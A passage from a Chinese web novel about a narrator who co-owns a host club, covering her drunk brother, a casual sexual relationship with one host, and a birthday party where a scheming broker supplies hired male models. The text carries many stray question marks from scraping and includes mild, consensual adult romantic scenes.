气味比人?先?抵达,扑面而来的柠檬气息中掺杂着酒味,浓郁悠长,气尾酸涩刺鼻,嘴里率先?分泌出唾液,像是?尝到了?酸味。 我抬头看去,看到一双黑沉的眼睛,哥哥的衬衫领口散开,他撑着头,摇摇晃晃地来到沙发边,紧挨着我坐下。 “小冬。”他呢喃般喊着我,呼吸发烫。 我凑近一看,他的脸颊红得不像话,脖子上也泛起一阵红,像煮熟的虾子,迷蒙地睁着眼睛,努力想要?看清我。 哥哥抓住我的手,将我的手背抵在额头上,手心滚烫,额头也是?热的。 我任由他抓着,说:“你喝醉了。” 他挤挤挨挨凑到我旁边,蜷曲着身体,肩膀抵着肩膀,大腿靠了?过来,西装裤滑溜溜的,和以前他工作的时候偶尔穿的正装触感不一样,面料精细,触感丝滑。 平时他总是穿宽松的旧衣服,能从高中穿到工作几年,洗到破洞再缝起来,换工作后也不卖新的,让我时常想到底有没有富起来。 他让我对有钱没有实?感,除了?换个?地方待着,生活就像以前那样,只不过想要?什么能直接买而已。 哥哥很少醉,但今天他晕乎乎的、和以往不同黏糊糊地往我身上凑。 他拉着我的手,贴在头上不够,要?用的手遮盖住他的整张脸,指节交缠着,呼吸全打在我的手心里。 “小冬。”他不停地念我的名字,难受的、急促的念着,喉结上下滚动,像是?很渴。 “怎么了??” 我再次问他。 在葬礼后,哥哥少有地露出委屈的情绪,眼尾下垂,黑沉的眸子沁水,眉头皱在一起,留下几道叠痕,他的呼吸不匀,痛苦地喘着气,像是?要?过度呼吸一样。 他说:“我、我好难受。” 哥哥闷着头蹭我的手,颤抖的唇触碰到手心,很轻,像是?错觉。 我看着他的头顶,好奇地问:“为什么?” “心脏难受。”他自?顾自?地说着,“眼睛难受,喉咙难受,心脏难受。” “……我不想待在这。” 哥哥埋着头,呢喃般说道:“我想回去。” “可是?还没到下班时间诶,你的排班结束了?吗?” 我想了?想,他应该还有一班预约才能结束。 “……” 哥哥维持着动作不变。 “没有。” 漫长的呼吸后,他抽了?下气,抬手遮盖住额头,脸色有点苍白:“我休息会就回去。” 我哦了?一声。 哥哥坐着没动,缓和醉酒的眩晕。 他放在沙发上的手指紧绷,青筋盘错,我把自?己?的手放在上面,比了?下,他翻转手掌,扣住我的手,偏头向我看来,眼中闪烁着光,让我以为他掉眼泪了?,但没有,他只是?看着我。 我:“想回家吗?” “……嗯。”他缓慢地点头。 “回只有我们的家。” “被高利贷占了?。”我补充到。 哥哥摇头,自?顾自?地念叨着:“再买一个?。” 关于房子的事说了?好几次,大概是?真的不想和浦真天住在一起吧。 我拍了?拍他的肩膀,努力安慰道:“好吧,那你要?努力工作才行。” “嗯。” 他的手指用力地扣着我,我靠在他的肩膀上,无?聊地晃着腿。 忽然,记忆的碎片钻出大脑,莫名地浮现在我的眼前,驱使我张开嘴。 我:“那天晚上你没睡着吧。” 从厕所里出来之后,在我躺在床上辗转反侧的时候,他就站在卧室的门口,站了?很久,尽管压抑着呼吸声,但还是?被我听到了?。 作为恶魔,我的听觉和嗅觉都?很灵敏。 哥哥的呼吸错乱一瞬,很快平静下来。 他短短地嗯了?一声。 对于他的行为,我也不当回事,因为他总是?出现在我的卧室门口,总是?在背后默默地看着我。 我真正在意的是?另一件事。 “搞不懂为什么拒绝我,明?明?可以接吻,为什么不能当跑友呢……真奇怪。” 我晃动手,好奇地问他:“你说,浦真天为什么要?拒绝我?” “……” 哥哥凝视着我,扯了?下唇,单薄地吐出几个?字。 “他不敢。” 他垂下头,像睡着般靠着我的肩膀。 直到有人?来找他,是?有过一面之缘的男公关,模样看得过去,脸上挂着轻浮的笑意,轻手轻脚拍醒哥哥,告诉他该回去了?。 我往走廊看,发现还有人?站在门口,好奇地往这边望。 那人?推着门,露出一条不大的缝,让我窥见里面的景象。 ——几个?人?正在讲话,姿态松懈,主要?是?女人?们在交谈,旁边的男公关作陪,偶尔递酒,不知?道说了?什么笑作一团。 看上去没什么不同的,不过姿态比起楼下的客人?少了?点拘谨,自?在地享受着旁人?的奉承。 哥哥整理衣服,重新回到房间里。 门再次关上,等下班的时候,他已经彻底醉了?,这次轮到浦真天清醒,搀扶着他往家里走。 浦真天身强体壮,很轻易地将他扶住,等运送到沙发上,哥哥醉酒后是?安静的,手脚安分地放着,嘴里含糊地念叨着什么,凑近一听,是?关于买菜和收衣服。 浦真天手忙脚乱地收拾东西,他不是?个?会做家务的人?,总是?忘记东西在哪,东放一下点西放一点,立马迷糊搞混位置,好半天才把哥哥安置好。 我在旁边观察他,看着他额头冒汗,像只找不到方向的蜜蜂。 等收拾完,他大概以为我直接回房睡了?,自?言自?语地在房间里翻找起来,打开一个?盒子,拿出计算器按得哔哔响。 安静的房间一直响起数字加减、又再次归零的声音。 我轻手轻脚来到他旁边,凑近看他到底在做什么。 他拿出一张纸写了?工资和最近开销,大概是?要?算个?数,字迹板正得像是?小学?生练书法。 “2000……不对,不应该是?这个?数。” 我问:“你在算什么?” 他浑身一震,慌张地掩盖纸条,“小冬,妹,你还没睡啊?” 浦真天真的很慌,蹦出几句方言,局促地摸了?摸后脖颈,半遮半掩地说:“我在算账。” 我立马来了?兴趣,自?告奋勇:“我来。” 我要?掌控这个?家的财政! “不用麻烦,我已经快算好了?。”他推脱道,脸皮燥热,“哪能让你帮忙呢,你还是?个?小孩子——” “我不小。”我指着纸条上的打款两?个?字问,问:“这是?做什么的?” 他低着头,含糊地说:“寄回家的。” “那这个?呢?” 我的手指落在医药费三个?字上。 “家里人?生病了?,要?一起打回去的钱。” 浦真天不好意思地笑了?声,脸颊浮现出酒窝,催促道:“不是?什么大事,你快去睡吧。” “你算错了?。” 我得意地指着角落里的数字,纠正道:“后面多了?个?零。” “诶,真的啊。”他尴尬地拿回纸条,笑了?下,“还是?你厉害。” 他低下头,温吞地改动数字,在手上不稳,又放在地上叉掉后面的零。 我盯着他的头顶,看着他纯黑色的发根,手指有点痒,总觉得他像是?某种?大型犬,像是?小黄转世。 我问: “浦哥,你什么时候染的头发?” “前天吧,怎么样,还可以吧?” 他摸着头发,忘记让我回去睡觉的事,眯起眼睛笑,他的唇比较厚,看上去很好咬,旁边就是?酒窝。 我盯着看,若有所思道:“会褪色吧,像你的西装一样。” 浦真天愣住了?:“诶?” “上次淋雨的时候,你的脖子被染红了?。”我指了?指他的脖子,他立马像被烫到一样捂住后脖颈。 “……那个?啊。”他懊恼地垂下头,苦笑一声,嘀咕道:“怎么总是?在你面前出糗,一点也不像大哥……哎。” 他埋下头的样子更像小黄了?,犯了?错,就用爪子捂住嘴,发出哼哼唧唧的声响。 我:“挺可爱的。” 我摸了?下他的头,仔细观察手掌,认真地说:“这次没有掉色。” “也没淋雨呢。” 浦真天兀自?笑了?起来,松懈开眉头,眼睛看向我,叹了?口气,认真道:“去睡吧,你哥有我照顾。” 他试探着伸出手,摸了?下我的头,有点傻气地笑了?起来,很快收回手,努力板起脸,装作成熟的模样,“不要?操心这些有的没的,我们在呢。” 完全笨蛋。 我点点头,在他的视线下转身,但下一秒转了?回来。 “晚安吻。”我指着额头,眨巴这眼睛,想看他窘迫的样子。 “哥哥会给我晚安吻。” “……好。” 浦真天犹豫半晌,屏住呼吸,局促地、窘迫地弯腰靠近我,压抑住吐气,轻轻地靠近我,留下个?蜻蜓点水的触感。 真奇怪,现在倒是?敢了?。 我咬住棉花糖似的爱,心满意足地往卧室走,但在进入之前,我调转脚步,快步来到沙发边,用力地朝哥哥的额头印下吻。 他皱着的眉头被抚平,终于陷入平静中。 我在哥哥耳边说:“晚安。”—— 作者有话说:纯爱一下[眼镜],写到哥就变纯爱变酸涩(单方面) 第33章 泉卓逸疑似有性·瘾。 虽然我有身体?方面的需求, 但也不至于每时每刻每天都需要。 他?三番五次问我怎么样,今天晚上行?不行?,让我觉得他?的精神病是性·瘾,在我问出口后, 他?彻底疯了, 疯狂表示自己绝对不是那种人, 他?只是关注我的需求而已,这种事对他?来说屁都不是。 但无论?如何,他?还?是坐实了这个名头。 因为他?晚上又腆着脸来问我要不要去他?家。 他?家就是酒店。 我心想不去白不去。 每天在床上折腾几个小时,他?亢奋得像只狂甩尾巴的狗, 第二天还?能好模好样地工作?。 因为不去白不去的原则,我也跟着他?闹了好几天。 几天后,宗朔问我是不是有性·瘾。 “我没有!” 平白无故遭人污蔑, 我瞬间怒了,摸着后脖颈的咬痕,义愤填膺地说:“有病的另有其人!” “那你还?跟着他?闹?” 宗朔实在看不下去,抽着烟睨向?我:“你是跟泉卓逸一样恋痛吗, 就让他?咬你?” 我认真地跟他?解释,在床上的时候,泉卓逸就是个疯子,踹他?, 他?更兴奋, 浑身有使不完的牛劲, 甚至做完还?要在房间里?走来走去, 躁动不安,如果不是我命令他?安静,他?可能会跑出去当?街发疯。 他?的行?为奇怪, 肯定是发病了,至于是性·瘾还?是什么精神病,我不知道?,让他?做卫生,他?也不会拒绝,把酒店收拾得干干净净,保洁都夸他?厉害。 “别玩死了。”宗朔说话时,眼?下挂着常年不散的黑眼?圈,颓丧地撩头发,语气不爽,“我发觉这小子越来越不对劲了。” 他?说得有道?理。 泉卓逸越来越奇怪了。 自从成为跑友后,每天像喝了假酒,非要黏在我身边,我一烦,他?就拿上床说事,我想着爽,同意了,然后循环往复,总是往床上跑。 因为这件事,哥哥找过我一次,问我怎么想,真的是我想要的吗,他?看向?我的眼?神雾蒙蒙,情?绪尝起来是苦的。 我能怎么说。 泉卓逸的确好玩。 在酒店的晚上,我们躺在床上,我用大腿碰了下他?的头,认真地问:“你是不是有性·瘾,为什么天天想着做,要不去医院检查下吧。” 泉卓逸抬起头,下巴湿漉漉的,有点烦躁被打断,伸出舌头舔了下嘴,眉眼?下压,干脆地反驳道?:“我没有。” “那为什么总要做?” 他?啧了一声,撑起身体?,裸露着上半身,脊背光滑,凸起节节明显的骨骼,薄薄的肌肉附着其上,弓起背的时候像鸽子笼。 泉卓逸撩起头发,露出额头,一副欠打像,挑眉看向?我:“不是你想吗?” 我不能让他?污蔑我,义正言辞道?:“总要有个先?来后到吧,是你先?说要不要,我才说行?的。” “……那是因为你不愿意跟我待在一起好吧,嫌我烦什么的——”他?的声音戛然而止,别着脸,半眯着眼?睛看我,一字一句说:“都说了,我没有性·瘾。” 我更疑惑了,问:“那你有什么精神病?” 泉卓逸顿住,皱着眉说:“宗朔告诉你的?” 他?烦躁地摸了下头发,没了发胶在床上耷拉着,像只炸毛的狗,赌气似的说说:“也没有人证明我有病,那我就是没病,你总信别人说的话,为什么不信我的话?算了……没有意思。” 我懂了,他?的意思是没去医院检查过。 短暂的沉默后。 “……你还?要吗?” 泉卓逸抬起头,挑起绿得发亮的眼?睛,愈发像是草丛里?的狼,他?取下唇环,用虎齿咬下唇,眉钉闪过一道?光。 没开灯,他?的眼?睛仍然亮着。 我晃悠着腿,双手撑在脑后,懒洋洋地嗯了一声。 泉卓逸俯身而上,撑在我的上方,微眯着眼?睛,脸下聚着一团红晕,呼吸急促,他?很快进入状态,在我耳边发出轻喘,偏头亲我。 他?的舌头像蚌肉似的柔软,牙齿偶尔磕碰到,张开嘴勾我的舌头,津液啧啧作?响,瞳孔收缩又扩散开。 我分神地想,他?的嘴唇比起浦真天的似乎要瘦点,偶尔能碰到下巴,骨头梆硬。 比起麦景,他?软了点。 结束后,他?窸窸窣窣地动着,把乱糟糟的东西?收拾一遍,服侍我洗完澡后坐在旁边看手机。 我也开始看手机,无聊地刷动态,阅览朋友圈人生百态,手指往下滑,柯觅山发的最新动态落入我的眼?中。 他?拍摄了一张在机场的照片,似乎在商务舱,空间宽敞,旁边还?有个半跪在地上和乘客说话的空哥。 配字:回S市了。 好装。 我点进聊天界面,最后一句停留在他发的“下次可以聊聊文学鉴赏方面的事”那句话上,心有点痒,是想捞钱了。 [世界第一恶魔]:学长要走了? 我发消息的时候是凌晨,心想他?大概睡了,正打算退出,对面竟然回复了。 [柯觅山(有钱)]:嗯 [柯觅山(有钱)]:最近有点事,回去处理杂事,顺便看看熟人,过两个月回来 [柯觅山(有钱)]:学妹,不高兴吗?^^ [世界第一恶魔大人]:没有啊,我看书文学鉴赏呢 [柯觅山(有钱)]:看书很无聊吧 [柯觅山(有钱)]:下次我请学妹出去玩吧,就当?赔罪了 他?原来知道?自己有罪。 他?去的地方都是高档场所,我眼?馋嘴馋,假装矜持几秒,立刻回复好。 我放下手机,发现泉卓逸仍然坐在床边,专注着迷地看手机, 我抱着被子移动,靠在他?的肩膀上,下巴放在他?硬邦邦的骨头上,视线往手机上瞟。 竟然在搜打舌钉。 我一下子弹开,诧异地说:“你真恋痛啊。” “只是想打而已……你不觉得有舌钉的话,会更好用吗?”他?露出一截红湿的舌头,得意地朝我勾起嘴角。 我细数他?身上的钉子,左耳五个,右耳三个,眉骨上一个,嘴唇上一个,觉得此人怕不是想全身穿孔。 潮得风湿的第一步是追随痛感,朋友们也相约去打过耳钉,但我不喜欢疼,所以没去,我也不喜欢戴饰品,总觉得被什么东西?束缚住,不舒服,我只喜欢兜里?有钱的感觉。 泉卓逸见我的目光逡巡在他?的钉子上,兴致一来摘下指节上的戒指,想给我戴上。 我吓得赶紧甩开他?的手,呵斥道?:“我对五金过敏。” “这是纯金的!” 泉卓逸臭着脸捡回戒指,戴了回去,躺在我身边,赌气地偏向?另一边。 我不管他?,享受片刻的安静,自得其乐,盯着天花板大脑放空。 ——简称贤者?时间。 安静不一会,泉卓逸窸窸窣窣地转过身。 他?开口问:“你觉得舌钉怎么样?” “挺好的。”我摆摆手,敷衍地评价道?。 他?沉默一阵,自顾自地讲起话。 “以前我什么都做不好,什么也不能做,现在我什么都要做,他?们认为不好的事,我要通通做一遍,等?他?们看到我这幅模样,肯定气得吐血。” 泉卓逸笑了两声,盯着天花板,声音在房间里?回荡一圈,和他?的表情?一起消失殆尽,耳边响起安静的呼吸声,我撇眼?看他?,发现他?睁着眼?睛,平静地呼吸着。 终于安静了。 然而还?没有两秒钟,他?蜷曲起身体?,转身面朝着我。 我能感受到他?的视线,无声地吵闹。 他?低声说:“……你呢?没有什么想说的吗?” 我翻了个身,用背抵挡吵人的视线,“我在想明天的事。” 泉卓逸非要知道?,又向?我凑近,气息打我的耳边:“什么事?” “宗朔说要用三楼,有个大单子,有钱人会来。” “不知道?为什么你这么向?往有钱人,他?们也只是普通人,甚至还?不如普通人呢。” 他?在我耳边饱含讽刺地说:“而且……来这开生日会,多?半只是借口,谁家会在这种地方举行?活动。” “有钱人难道?不是每天都过生日吗?” 泉卓逸点了下头,挑眉笑起来,“你倒是懂。” 我得意地说:“短剧里?是这样演的。” “少看点吧,在床上还?要看。”他?开始吐槽我在他?一边埋头努力?的时候,看短剧的行?为。 我心想那是不浪费时间,一心多?用。 我:“你怎么知道?是开生日派对?” “从别人那知道?的。” 泉卓逸含糊说了一句,不耐烦地说:“一个贱货的嘴里?知道?的,天天在我耳边说闲话,嚣张了一周。” “等?见面,我一定要把他?打死,敢用我的照片月抛。” “是他?啊?”我来了兴趣,问:“他?也是那个卖你假货的?” 叫什么来着……邛什么…… “邛浚。”泉卓逸不爽地说,“一万五给我一个五块钱的假货,这人掉钱眼?里?去了,天天用歪门邪道?赚钱,不知道?还?以为他?家破产了——啧,虽然也差不多?。” “钱,总是钱,它到底哪里?好了……” 他?说完,用手遮住眼?睛,似乎想起什么,整个人躁动不安,咬下唇的频率加快。 我推了他?一下,双手双脚抵着他?,将他?往远推,“你过去点,好热。” “你干嘛嫌弃我,这个时候不该安慰我吗?!” 泉卓逸被我推着往后,生气地说:“还?没穿裤子就不认识了!” 这人纯有病,瘦成一把骨头还?想让我睡他?的手臂,我也不给他?好脸色,冷酷道?:“很热,靠边去。” 就算是栾明,我也不会和他?抱在一起睡觉的! 泉卓逸像有皮肤饥渴症,不停地想要摸我,这时直接发疯,手脚往我身上缠,我拼命扑腾,直接一口咬上他?的手臂,用了十足的力?道?。 他?疼得吸气,瞬间抽回手。 “别闹了,我要睡觉。” 我趴在床上,往他?怀里?塞了个枕头,“抱着这个睡,就当?我行?吗?” 他?捂着手臂,咬牙切齿地说:“行?。” 第二天起来时,我发现他?对着手臂上的咬痕发呆,看得入迷。 我推搡他?一把,开玩笑道?:“怎么了,难不成喜欢上这种感觉了?” 我笑了两下,转眼?发现他?没动,别扭地看向?另一边。 不是吧,真爱上了?! 宗朔说得对,这人真有恋痛癖。 于是性瘾的事还?没解决。 转头变成恋痛的怪癖。 泉卓逸迷上了让我咬他?,总是腻歪地缠在我身上,逼我反嘴咬人,被咬了他?先?喊疼,一副要生气的模样,但转头对着手上的咬痕发呆,像看装饰品一样欣赏着。 我觉得这人有病,让他?先?去打舌钉,痛自己几周半个月,别发疯让我揍他?,我玩s.m是真的把人往死里?揍的,而且我不喜欢玩s.m! 他?打了舌钉,安静不过一天,再次缠上我。 我实在懒得搭理他?,遂和他?开始冷战,终于,他?消停了。 把酒店当?家的情?况停止,我最近每天回家睡觉,快变成苦瓜味的哥哥状态好转,但还?是不肯把身份证交出来。 浦真天看我的眼?神变了又变,他?似乎有什么想说的,在和泉卓逸冷战之后,他?和泉卓逸的关系变得更差,见到彼此没有好脸色。 好几次单独相处的时候,浦真天欲言又止,给我分享了很多?青春期小孩心理教育的视频,眼?神带着一股正气,我总觉得他?像是要说教什么,反正遇到他?想张口说什么,我就立马跑得远远的,打定主意不听任何人的叽叽喳喳。 大多?数时间里?,我躲在办公?室里?旁观宗朔策划三楼的宴会,看他?对着计划表摇头咂舌,烦躁地抽烟。 举办宴会的主人公?是个有钱的大小姐,对普通的生日腻味了,打算和朋友们玩个大的,举办个全是男模的宴会,宴请曾经十八岁的自己。 当?然,这不是她正式的生日宴会。 正式的是办给长辈们看的,已经结束了,现在是她们圈里?的人玩的时候,主打一个不要正式,要独具一格。 出于某种原因,她没去会所宴请男模,而是来了我们这包场。 我问宗朔男公?关和男模的区别是什么。 他?说男模的尺度更下流,但是听着高级。 的确。男模听着像是T台走秀,附带了奢侈品价值。 至于选择[极乐世界]的原因,他?也说不清楚,只模糊地说有个中介推销,附近就几家会所,[极乐世界]有名气还?是最大的,一般有眼?色的人都会选这。 我觉得他?有自夸的成分,说这话时也不掂量一下。 但我从他?的话里?捕捉到了关键消息——附近还?有其他?的会所。 举办宴会的当?天,宗朔仍然来得最晚,不过也比平常早了许多?,大概下午四点,他?抵达店里?,有条不紊地按照计划布置三楼。 差点积灰的楼层经过前一夜的打扫恢复如新,桌椅换了新的,窗帘按照要求换成了深红色,至于其余装饰品,换上一楼的,拼叉叉循环利用。 除此之外,重新搬来许多?圆形站台,还?立了不少钢管,配着沙发和重新铺上的地毯,整体?风格看上去不伦不类的。 我问宗朔:“这些东西?是干嘛的?” 他?轻描淡写地放下单子,撇眼?我,哼笑道?:“你平时不看擦边视频吗?站在上面跳舞、转圈呗。” 这句话打开了我的新世界大门,瞬间联想到一楼的沙发,连接着沙发的流线型也是平的,我还?纳闷为什么做成这种形状,上面也不摆些东西?。 “一楼也是跳舞的?” 宗朔瞬间明白我在说什么,敲了下我的脑袋,懒散地说:“早就废弃了,他?们都不爱学跳舞。” 我更疑惑了,既然不跳舞,那这些是哪来干嘛的?用来展出男公?关的吗?还?是拍照用的? 我:“那这些今天晚上谁用?” 宗朔打了个哈欠,“男模和有志向?的人。” 我:“?” 我:“男公?关店怎么还?能请男模?” “外带的呗。” 宗朔昂下头,示意我往前面看,情?绪莫测,“也多?亏这位中介,大小姐的宴会才能办得多?姿多?彩。” 就像是有些ktv不允许客人带酒水,我觉得男公?关店也不能允许客人带男模才对! 这不是抢生意嘛! 我气势汹汹地朝他?示意的方向?看去,势必要看清在其中作?祟的中介的样貌,视线刚扫过去,便听到泉卓逸带着怒气的声音。 泉卓逸扯着衣领,气势汹汹:“草你爹的,把钱还?给我,你竟然还?敢用我的照片去做那种事——” “哎呀。”男声清越干脆,饱含笑意。 站在他?面前的人举起双手,颇为无辜地眨眼?睛,卷毛遮住双眼?,露出天生上翘的嘴角。 他?的身高和泉卓逸相近,往后仰着身体?,但此时缩着肩膀,面对穷凶极恶的泉卓逸,像个受害者?似的。 那人的嘴角噙着一抹笑,好言好语地劝说道?:“我也是好心嘛,帮你揽客又不是做什么坏事,还?有戒指的事,我也不知道?诶。” 泉卓逸冷笑一声,说:“胡说,你明明说是从法国专门定制的。” “诶?我说过吗?法国定制的应该上十万才对吧。” 那人一脸无辜,笑嘻嘻地说:“你是不是听错了,你有发票吗?” “你——” 泉卓逸指着他?,面露怒色,眼?睛亮得惊人,刚想动手,但对方在他?耳边说了什么,他?的脸色一下子变得极其难看,攥紧的拳头松懈下来,狠狠将面前的人推开。 那人整理衣领,往后薅了把头发露出圆钝的眼?睛,露出一张极其纯良的脸,狗狗眼?、翘鼻子、微笑唇,怎么看都不像奸诈的人。 他?注意到我的视线,朝我和宗朔看来,抬起手笑着打招呼。 泉卓逸转过头看到是我,表情?犹豫一瞬,但想起我们还?在冷战,绷着嘴角,装得冷若冰霜,朝宗朔轻点了下头,双手插兜,头也不回地离开了。 熟悉的叮当?响逐渐远去。 “宗老?板,许久不见啊。”被推搡的人走到我们面前,他?穿着卫衣外套,脚上踩着运动鞋,看上去像是刚放假的大学生,清爽地笑着,视线移向?我,佯装疑惑:“这位是……?” “你不需要知道?。” 宗朔手肘搭在我的肩上,站得没个正型,懒散地说:“东西?准备好了?” “刚刚搬过来呢,苟小姐特地嘱咐了,我哪敢怠慢,用私家车一箱一箱地运过来的。” 什么要用私家车运?男模吗? 我疑惑地看向?宗朔,他?读懂我的眼?神,嘴角抽了下,无语地解释道?:“是她们爱吃的餐点,专门找私人厨师做的。” “那用一辆车不就行?了,干嘛用很多?辆私家车。” “小姐,你这就不懂了,私家车稳啊,每一个甜品都要精心照料才行?,苟小姐的二十五岁生日,必须重视!” 他?说得义正言辞,发自肺腑般尊敬今晚的主角。 我发现他?的脸颊上有两颗对称的痣,像是酒窝的标记,格外引人注目,他?敏锐地捕捉到我的视线,朝我眨了下眼?。 “别贫嘴了。” 宗朔打断他?的长篇大论?,直入主题:“人呢,都带过来了?” 他?摆摆手,腔调不紧不慢:“一半一半吧,有几个还?在家里?收拾打扮,说是要穿最帅的西?装。” 宗朔:“只有西?装?” “哈哈。”像男大生的人笑了起来,眼?下卧蚕很明显,我发现那还?有一颗痣。 他?再次捕捉到我的视线,像是某种动物一样机敏,他?摸了下脸上的痣,笑着看向?我,无奈地说:“抱歉呢,没有你们店内容丰富,毕竟不是专业的嘛,对吧?” 我好歹也是老?板,略做思索,赞同地点了点头。 他?也跟着点了点头,问我:“你是这的新员工?” 我:“我是老?板。” 他?茫然地看向?宗朔,忽然笑了起来,“老?板啊,原来是老?板,是我失礼了,老?板大人,可以告诉我你的名字吗?” “先?去把你的男模找过来,我有事要说。” 宗朔打断他?的话,冷淡地说:“事要是没办好,你个抽成50%的中介是不是罪该万死啊?” “哎呀。”他?的口头禅念得格外俏皮,配上一脸无辜的表情?,真让人以为他?没做任何事。 “我这不是休息几分钟嘛,良好的休息才能更好的工作?。” 他?说起话腔调和宗朔有点像,慢悠悠的,但比宗朔故作?文艺。 他?好模好样地伸出手到我面前,朝宗朔眯着眼?睛笑,“握个手总行?吧,做人要有礼貌,有仪式感哦。” 没等?宗朔说话,我先?握了上去。 手感略显粗糙,和哥哥差不多?,像是做过很多?活,我飞快松开他?的手,但收回之前手指滑过手心,留下不同的触感, 他?直起身体?,长相很容易让人想到矿泉水之类的东西?,笑起来清爽干净:“很高兴认识你,我是邛浚。” 手心里?多?出一张长方形的名片。 邛浚挥挥手,清爽地走了。 我拿起手里?的名片。 [代课代驾代跑代邮代取代工代找代一切只要你想要,没有我做不到,最诚心的中介,最真挚的我。 ——邛浚 联系方式式:xxxxxxxx]—— 作者有话说:新人登场,搅屎棍一个 其他的不必多说,我终于加更了!(挺胸) 第34章 “总觉得这人有点熟悉, 贱得很熟悉。” “而且……”我摸摸下巴,看向宗朔头上凌乱打卷的头发,恍然大悟道:“发型也很像诶,只是长?度不一样?。” 邛浚的要短一点, 宗朔的发尾垂到肩膀。 “别把我们相提并论好吗, 人畜有别。” 宗朔开口喷射毒液, 他今天极其刻薄,连着泉卓逸一起骂:“那两?个混在一起的,不应该才是最像的?” 邛浚的背影消失在人群中?,而泉卓逸转身走?进休息室, 脸色吓人,周围的人退避三舍,生?怕他打人。 我再次回味起他和泉卓逸的对话。 他就是那个坑了泉卓逸一万五、还拿他的照片去月抛软件上敲诈的人, 这么?损,泉卓逸竟然没有当众打他一顿。 邛浚在他耳边说了什么?,泉卓逸的脸色变得尤其难看。 三楼人头攒动?,放眼过去全是穿西装、打扮光鲜亮丽的男人, 像是男公?关店开会?,所有人都来了三楼。 我:“今天晚上一楼还工作吗?” “工作,为?什么?不工作。” 宗朔扫眼正在忙碌的男公?关们,哼笑一声, “今天晚上有些人怕是急得想来三楼。” 这个我懂。 虽说是宴会?, 实际上谁都可以?参加, 上来服务的人能捡到便宜, 底层的男公?关们也想掺一脚,乘机获得大小姐们指缝里掉下的怜悯,听说有钱人给小费很大方, 一楼的C、D类男公?关应该会?找机会?上三楼来。 宗朔看向我,目的很明确,开口要安排我今晚的工作:“你帮我——” “我把守三楼。” 我了然地点头,主动?接下重任,兴致勃勃想要看夜晚的景象。 “就知道你在想什么?。” 宗朔抬手撩开凌乱的前发,他的头发偏长?,一般挡住半张脸,从缝隙中?露出半眯着的眼睛,耸拉着眼皮,眼下青黑一片,有着浓重难以?散去的颓丧感。 他的手指摩挲着衣兜,往里摸了好几次,我知道他大概是想抽烟,最近他抽烟的次数上涨,动?作略显烦躁。 “算了……不准乱跑。”他丢下一句话,轻推了下我的额头,嘀咕去找打火机。 我美滋滋地去楼下拿东西,移动?一楼的窝,哥哥正巧在帮我收拾,顺便跟我一起上楼。 上楼的途中?,我问:“今天晚上你在二楼吗?” “三楼。”他简短地说,“今天晚上三楼。” 哥哥不会?把工作的内容告诉我,自然也不说工作安排,我主动?问,他才会?讲,被提问时,他的表情中?多出一丝惶恐,嘴唇抿动?,把想说的话咽回肚子。 以?往包厢里观察不到,今天终于有机会?了。 不一会?儿,男模们来了。 他们身姿高挑,穿着西装像是要走?秀的,有好些个金发碧眼的外国人,身形挺直,突兀地进入三楼,引得许多男公?关瞩目观望。 我隐约听到有人羡慕地说:好想用这张脸活一次啊。 他们平均的颜值高,不过我觉得我们派出的精锐也不输,而且他们只会?跳舞上床,我们可是能提供情绪价值的啊! 颜值上不行,还有人海战术,每个人上来吹捧一句,绝对能让大小姐开开心心。 然而,当夜晚抵达,我才意识到男模的可怕之处。 大小姐和她的朋友们来的时候,男模们齐刷刷地挂上营业笑脸,眼神盼切,等灯光拉暗,层层堆叠的帘幕降下,三楼彻底变为?另一个世界。 晃动?的光影迷人混乱,背景音乐是不知道哪个歌手的流行音乐,气氛被点燃,瞬间燥热起来。 当音乐抵达顶峰,男模们纷纷脱下外套,露出光裸肌肉的上半身,站在钢管边肆意舞动?时,姿势大开大合。 音乐声震动?耳膜,连同胸腔一同震颤,我霎时瞪大了眼睛。 不远处坐的哥哥脸色瞬间变差,紧绷着一张脸,视线频频向我扫来。 我还在震惊之中?。 手机带来感官刺激远比不上现实,比起擦边视频,现场氛围燥热,音乐热带动?心跳,暧昧的灯光在肌肉线条上滑过,女性们发出一阵欢呼声,竟然开始朝着跳舞的男模撒币。 周围的人纷纷欢呼起来,我看到有几个男公?关思索着解开上衣,露出训练程度不同的上半身,相互看了一眼。 我缩在角落里围观,津津有味地喝着饮料,旁边就是窗帘,撩开便能看到外面的高楼大厦。 外面是霓虹灯,里面是男模舞。 香水味、酒水以及甜蜜的食物气息混匀,灯光时亮时暗,晃动?的四肢里,我看见两?张熟悉的脸。 哥哥和浦真天坐在中心的沙发上,身后身前都有跳舞的男模,旁边的女性笑得格外开心。 有人拉着哥哥的脖子,在他耳边讲话,他轻微弯腰耐心地听着,红色的光从他脸上一闪而过,眉骨下投射出睫毛的阴影。 熟悉和陌生?杂糅,像是换了个人,变成?另一副我不认识的模样?。 我一直没找到看他上班的机会?,此?时专注无比,细细观察他的整张脸,带着拆开快递般的新奇。 晃动的光再次略过他的嘴唇,轮廓陷入黑暗中?,五官也变得深邃。 我忽然想起在帮我搬东西时,他犹豫不决、想要说什么?的表情,大概是不想让我待在三楼吧。 哥哥脸上也带着笑,浅浅地挂在嘴角,以?一种陌生?的姿态面对着旁边的女性。 我觉得有趣,视线紧紧地追随着他,他抬起手,替客人拿酒,轻轻弯了下眼睛。 从小看到大的脸莫名让我移不开眼。 哥哥抬眸,视线准确地落向我,僵硬一瞬,遮掩着别过脸。 旁边的浦真天正在不知所措、手忙脚乱地应付往他胸口塞钱的女性,他脸红到脖子上,拳头捏得很紧,这幅模样?让客人更加兴趣大发,呼唤朋友说说笑笑。 男模们熟练地做着wave,手指从大腿摸到腹部,沿着腹部肌**壑摸到脖颈,仰头往下看,脚下的红色钞票越来越多,他们跳得也更加卖力。 我将双手撑在脑后,心情飘飘然,像喝下美酒一般,观察着暗流涌动?的现场。 忽然,有人向角落里靠近,脚步声掩盖在热闹的音乐声中?。 他从后面来,拉开落地窗边的帷幕,像是没想到这里有人,惊讶地哎呀了一声。 熟悉的口头禅。 我转头,眼中?印入一张男大学生?似的、清爽干净的脸。 “哎呀。”他又叫了一声,眼睛瞪圆了些,嘴角天生?上扬,“是你啊,小姐,怎么?待在这里,不到那边近距离看看热闹吗?” 邛浚说着,腿一迈,熟稔地落座我对面,目光在我脸上盘旋。 我:“待在这看得更好啊。” 全局景观尽收眼底,要是有危险还能第一时间逃生?。 “可是离得远会?看不清男模的腹肌诶。” 他可惜地叹了声,眼睛盯着我,顺理成?章抛出鱼饵:“或许靠近了能摸一下哦?” 我抬手表示暂停,态度认真:“摸了能有钱赚吗?” 